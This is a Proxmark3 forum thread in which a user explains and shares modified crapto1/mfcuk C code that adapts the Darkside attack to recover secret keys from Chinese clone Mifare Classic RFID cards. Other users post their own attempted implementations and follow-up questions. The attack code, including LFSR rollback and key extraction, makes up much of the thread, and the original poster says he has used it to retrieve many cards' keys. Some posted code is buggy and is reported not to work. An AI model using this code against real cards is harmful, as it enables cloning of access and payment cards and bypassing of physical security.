Using Darkside attack in "Chineese" Mifare Classic (Resolved)

miguegold · 2012-12-24 16:09:31

A year ago I presented my engineering thesis and a part of it included the development of a method to retrieve keys for a mifare cards which always answered with the 4bits "NACK" regardless of the parity bits of the NrAr. I would like to share these findings with you, noting that even if it was me who modified the crapto code, the original (theoretical) idea was already written in the Darkside paper. I'll post parts of the modified code, but an expert programmer should integrate this into the crapto code, even if it works for me out of the box.

As you probably know, the attack takes advantage of the 4 bit answer "NACK" to eight similar reader's ArNr, obtaining approximately 8*4=32 bits of keystream. Since keys are little larger, the remaining information needed to identify the key is obtained from the parity bits to which the card answered. What happens for the alternative cards is that the last part of the process can't be performed, since the parity bits do not provide any information at all, and using it would generate an incorrect key. That's why the attack failed so far.

If you look at the code in the crapto package, you'll find that the key recovery is in a method called lfsr_common_prefix, and it basically gets in the first step a list of all possible states for the LSFR (both even and odd positions) AFTER it's fed with Key, UID, Nt, using as information the eight NACKS received.

odd = lfsr_prefix_ks(ks, 1);
even = lfsr_prefix_ks(ks, 0);

This list goes around 10k to 400k possible states, each with a key, so clearly the attack isn't over. Then, this method makes a call to

check_pfx_parity(pfx, rr, par, *o, *e, s);

to discard all states which wouldn't answer with the parity bits that we sent from the reader. This part of the code is what we can no longer use.

So what can we do, to attack these cards, when all we can get is a list of ~100k keys? Try them all? Well, it's much more feasible than bruteforcing, but we can do better.

If we remove the feed in the LSFR given by the Nt (which is perfectly feasible since we know Nt) we get a list of all possible LSFR states after the key and UID are fed. Actually, since UID is feed xored with Nt, we have to unfeed them both, so what we'll end with is a list of LSFR states (odd and even) after feeding the key and only the key. This is great since we're free to repeat the attack and get another list of LSFR states for another Nt (remember, the darkside attack requires all 8 NACKs to be received using the same Nt, so we'll need to have two 8-NACKs packs). If both attack were successful (about 75% chances each), the actual LSFR state will be in both lists, so the problem narrows to find which state is valid for both list, a simple look up will do.

Bored of theory?

struct Crypto1State *state;
lastOdd = state->odd = statelist->odd; state->even = statelist->even;
lfsr_rollback_word(state,uid^nt,0);
fprintf(file,"%x %x \n",state->odd,state->even);

just before the call to check_pfx_parity in current source code.

Once you identify the correct LSFR state in both odd and even positions, you only need to call crypto1_get_lfsr to retrieve the key:

struct Crypto1State *state;
state = malloc(sizeof *state);
i++;

uint32_t value;
sscanf(argv[i++],"%06x",&value);
state->odd =  value;

sscanf(argv[i++],"%06x",&value);
state->even = value;

printf("Using prestate with odd=%x, even=%x \n",state->odd,state->even);

uint64_t key_recovered;
crypto1_get_lfsr(state,&key_recovered);
printf("\nkey recovered: %012llx\n\n",key_recovered);
crypto1_destroy(state);

I hope it was clear for you to understand, it's not rocket science and if I can help you with anything, dint hesitate to contact me, I've used this to retrieve many cards' keys and to become an engineer ;)

Merry Christmas and happy 2013!

kxn · 2012-12-26 13:44:57

Hi Miguegold

Thank you for the instruction.

I quickly made some hack to mfcuk to implement the attack. However, it seems the list of possible lfsr states never have anything in common. Am I doing something wrong?

My logic is
1: Generate list of possible odd and even state from 8 ks-es for the same Nt using lfsr_prefix_ks;
2: Create a crypto1state list from permutation of odd/even, and rotates like what lfsr_common_prefix does
3: Rollback all the states with uid ^ nt, and store
4: In mfcuk, when we got 2 lists, get the intersection of it, if there has no intersection, re-collect 2 lists. if there has 1 common, get the key, if there has more than 1 common, get another list to intersect with it.

Can you see where I made the mistake? Is it ok for me to rollback on the state generated from lfsr_prefix_ks directly? I read lfsr_common_prefix, and it does rollback something to the generated states in check_pfx_parity. the states are rollbacked again with uid ^ nt in old mfcuk code when it wants to get the key out of lfsr states. So my guess is that I've missed some rollback between lfsr_prefix_ks and lfsr_rollback_word(s, uid ^ nt, 0);

Some code snippets below.

// Modified from lfsr_common_prefix,
struct Crypto1State*
lfsr_prefix_ks_list(uint8_t ks[8], uint32_t uid, uint32_t nt)
{
struct Crypto1State *statelist, *s;
uint32_t *odd, *even, *o, *e, top;

odd = lfsr_prefix_ks(ks, 1);
even = lfsr_prefix_ks(ks, 0);

s = statelist = malloc(50000000);
if(!s || !odd || !even) {
free(statelist);
statelist = 0;
goto out;
}

for(o = odd; *o + 1; ++o)
for(e = even; *e + 1; ++e)
for(top = 0; top < 64; ++top) {
*o += 1 << 21;
*e += (!(top & 7) + 1) << 21;
// roll it back with uid & nt and store into the list
s->odd = *o;
s->even = *e;
// Should I rollback more here ?
lfsr_rollback_word(s, uid ^ nt, 0);
s++;
}

s->odd = s->even = 0;
out:
free(odd);
free(even);
return statelist;
}

in mfcuk.c

// .... When we got a 8 NACK packs

printf("Try to resolve key from ks, uid %08x, nt %08x\n", uiUID, ptrFoundTagNonceEntry->tagNonce);
states_list = lfsr_prefix_ks_list(ptrFoundTagNonceEntry->ks, uiUID, ptrFoundTagNonceEntry->tagNonce);
// The merge_state_list function merges the state list with a global list starts from empty. and returns the number of entries that in common.
int num = merge_state_list(states_list);
if (num == 0) {
printf("No same state found, recollecting\n");
} else if (num > 1) {
printf("%d states left\n", num);
} else {
// We have 1 and only 1 state, try to get the key.
struct Crypto1State new_state;
new_state = gAllStateList[0];
printf("Using pre-state %08X:%08X\n", new_state.odd, new_state.even);
crypto1_get_lfsr(&new_state, &key_recovered);
flag_key_recovered = 1;
*ui64KeyRecovered = key_recovered;
}
crypto1_destroy(states_list);

if (!flag_key_recovered)

Thanks a lot!

miguegold · 2012-12-26 13:51:05

This is my lfsr_common_prefix, you should be able to copy from it, let me know!

struct Crypto1State*
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8], uint32_t nt,uint32_t uid)
{
    long long int amount = 0;
    struct Crypto1State *statelist, *s;
    uint32_t *odd, *even, *o, *e, top;

    odd = lfsr_prefix_ks(ks, 1);
    even = lfsr_prefix_ks(ks, 0);

    s = statelist = malloc((sizeof *statelist) << 20);
    if(!s || !odd || !even) {
        free(odd);
        free(even);
        free(statelist);
                return 0;
    }

    char filename[50] = "archivo.txt";
    sprintf(filename, "logs/%x.txt", nt);
    printf("name %s\n", filename);
    FILE *file = fopen(filename,"w+"); // apend file
//  fprintf(file, "Testing...\n");
    printf("Creating file... ");
    int lastOdd = 0;
    for(o = odd; *o + 1; ++o)
        for(e = even; *e + 1; ++e)
            for(top = 0; top < 64; ++top) {
                *o += 1 << 21;
                *e += (!(top & 7) + 1) << 21;

                //added by MG
                //printf("odd:%X even:%X\n",s->odd,s->even);
//              char* numero; //numero = spanish(number)
//              char posibilidades[2048]; strcpy(posibilidades,""); //posibilidades= spanish(posibilities)
//              strcat(posibilidades, "\n odd:");
//              strcat(posibilidades, itoa(s->odd,numero,16));
//              strcat(posibilidades, " even:");
//              strcat(posibilidades, itoa(s->even,numero,16));
//              fprintf(file, "%s", posibilidades);

                //fprintf(file,"%x, %x \n",statelist->odd,statelist->even);
                if(lastOdd != statelist->odd){
                    struct Crypto1State *state;//Here I create a temporal crypto1 state, where I load the odd and even state and work with it, in order not to interfere with regular mechanism, This is what i save in a file
                    lastOdd = state->odd = statelist->odd; state->even = statelist->even;
                    lfsr_rollback_word(state,uid^nt,0);
                    fprintf(file,"%x %x \n",state->odd,state->even);
                    amount++;
                }
                s = check_pfx_parity(pfx, rr, par, *o, *e, s); //This is not useful at all when attacking chineese cards
            }
    printf("File created\n");
    printf("Amount = %u\n",amount);
    fclose(file);
    s->odd = s->even = 0;

    free(odd);
    free(even);

    return statelist;
}

miguegold · 2012-12-26 13:57:11

Ah, there is something else for you to try, but I did not need it, and it's slightly more time consuming (then, less optimal attack): you can also retrieve the key for each state (instead of stopping after unfeeding Nt^UID) and then match the keys found in both lists, but you have to do way more calculus than with the method I proposed. Is this clear?

kxn · 2012-12-26 14:00:30

Still no luck

Ah , thank you for the code, I still have no luck

I have some question with the code though

if(lastOdd != statelist->odd){
// I assume statelist should be s ?, also, why you use lastodd value to filter odd values that is the same with the last attempt?
struct Crypto1State *state;//Here I create a temporal crypto1 state, where I load the odd and even state and work with it, in order not to interfere with regular mechanism, This is what i save in a file
// the state variable is a pointer,not a instance, so I assume it is struct Crypto1State state, and all state-> below are state. ?
lastOdd = state->odd = statelist->odd; state->even = statelist->even;
lfsr_rollback_word(state,uid^nt,0);
fprintf(file,"%x %x \n",state->odd,state->even);
amount++;
}
s = check_pfx_parity(pfx, rr, par, *o, *e, s); //This is not useful at all when attacking chineese cards

Here are my source tarball : http://blog.kangkang.org/static/mfcuk.tar.gz

My modifications are :

1: Store the generated states in a hash table in memory, and lookup for duplicates when we got another list. If there are duplicates, get key out of the state, and verify it with the card. So if it works correct, it should crack the card by itself without help of external file/programs.

2: Make the buffer in lfsr_common_prefix dynamically grow, so it can hold as many as possible states.

I have tried 3 logics in lfsr_common_prefix. The one that is not commented out, is what I think identical to what you have described in your post. You can also comment it out and try other 2 logics. Logic 3 is the most promising one here, it can have duplicated states, but there are more states than one, and non of the generated keys are correct.

Could you have a try on your card? I'm seeing different behaviours on different cards, so maybe my cards are new Chinese clones that fixed this problem? I live in China which is the origin of cloned products. Not sure how it evolved now.

kxn · 2012-12-26 14:02:53

I have tried this too, no luck either

miguegold wrote:

Ah, there is something else for you to try, but I did not need it, and it's slightly more time consuming (then, less optimal attack): you can also retrieve the key for each state (instead of stopping after unfeeding Nt^UID) and then match the keys found in both lists, but you have to do way more calculus than with the method I proposed. Is this clear?

thefkboss · 2012-12-26 22:37:34

hi miguegold
nice to hear from you

could you upload to googlecode? if you don´t have permission ask to some moderator

if i have time i will try with my cards.

Un saludo y feliz navidad si necesitas algo ya sabes mi email

minoruharvest · 2013-07-20 09:44:00

is these code available now in pm3? which version and which command ?

jun5190035 · 2015-05-24 16:15:40

你好！很高兴看到你的文章，我想知道你发的代码为什么和miguegold的不一样，还有你发的源码包是自己改过的吗？是针对Chinesecard改的吗？哪个版本的？使用哪个版本libnfc？谢谢！

jun5190035 · 2015-05-24 16:17:39

kxn wrote:

I have tried this too, no luck either
miguegold wrote:
Ah, there is something else for you to try, but I did not need it, and it's slightly more time consuming (then, less optimal attack): you can also retrieve the key for each state (instead of stopping after unfeeding Nt^UID) and then match the keys found in both lists, but you have to do way more calculus than with the method I proposed. Is this clear?

你好！很高兴看到你的文章，我想知道你发的代码为什么和miguegold的不一样，还有你发的源码包是自己改过的吗？是针对Chinesecard改的吗？哪个版本的？使用哪个版本libnfc？谢谢！

jun5190035 · 2015-05-26 08:36:01

why nobody answer me ? Oh! I give up

Proxmark3 community

Announcement

#1 2012-12-24 16:09:31

Using Darkside attack in "Chineese" Mifare Classic (Resolved)

#2 2012-12-26 13:44:57

Re: Using Darkside attack in "Chineese" Mifare Classic (Resolved)

#3 2012-12-26 13:51:05

Re: Using Darkside attack in "Chineese" Mifare Classic (Resolved)

#4 2012-12-26 13:57:11

Re: Using Darkside attack in "Chineese" Mifare Classic (Resolved)

#5 2012-12-26 14:00:30

Re: Using Darkside attack in "Chineese" Mifare Classic (Resolved)

#6 2012-12-26 14:02:53

Re: Using Darkside attack in "Chineese" Mifare Classic (Resolved)

#7 2012-12-26 22:37:34

Re: Using Darkside attack in "Chineese" Mifare Classic (Resolved)

#8 2013-07-20 09:44:00

Re: Using Darkside attack in "Chineese" Mifare Classic (Resolved)

#9 2015-05-24 16:15:40

Re: Using Darkside attack in "Chineese" Mifare Classic (Resolved)

#10 2015-05-24 16:17:39

Re: Using Darkside attack in "Chineese" Mifare Classic (Resolved)

#11 2015-05-26 08:36:01

Re: Using Darkside attack in "Chineese" Mifare Classic (Resolved)

Board footer